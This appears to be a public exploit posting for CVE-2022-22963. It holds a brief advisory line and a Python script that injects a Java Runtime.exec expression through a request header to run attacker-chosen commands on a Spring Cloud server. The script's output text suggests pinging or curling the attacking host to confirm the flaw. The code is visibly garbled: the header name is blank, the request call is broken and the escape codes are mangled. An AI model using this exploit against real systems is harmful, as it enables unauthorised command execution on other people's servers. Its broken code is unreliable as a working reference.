Authored by GatoGamer1155, 0bfxgh0st

Spring Cloud version 3.2.2 suffers from a remote command execution vulnerability.

advisories | CVE-2022-22963

# Exploit Title: Spring Cloud 3.2.2 - Remote Command Execution (RCE)
# Date: 07/07/2023
# Exploit Author: GatoGamer1155, 0bfxgh0st
# Vendor Homepage:
# Description: Exploit to execute commands exploiting CVE-2022-22963
# Software Link:
# CVE: CVE-2022-22963

import requests, argparse, json

parser = argparse.ArgumentParser()
parser.add_argument("--url", type=str, help="", required=True)
parser.add_argument("--command", type=str, help="ping -c1", required=True)
args = parser.parse_args()

print("n33[0;37m[33[0;33m!33[0;37m] It is possible that the output of the injected command is not reflected in the response, to validate if the server is vulnerable run a ping or curl to the attacking hostn")

headers = {"": 'T(java.lang.Runtime).getRuntime().exec("%s")' % args.command }
data = {"data": ""}

request =, data=data, headers=headers)
response = json.dumps(json.loads(request.text), indent=2)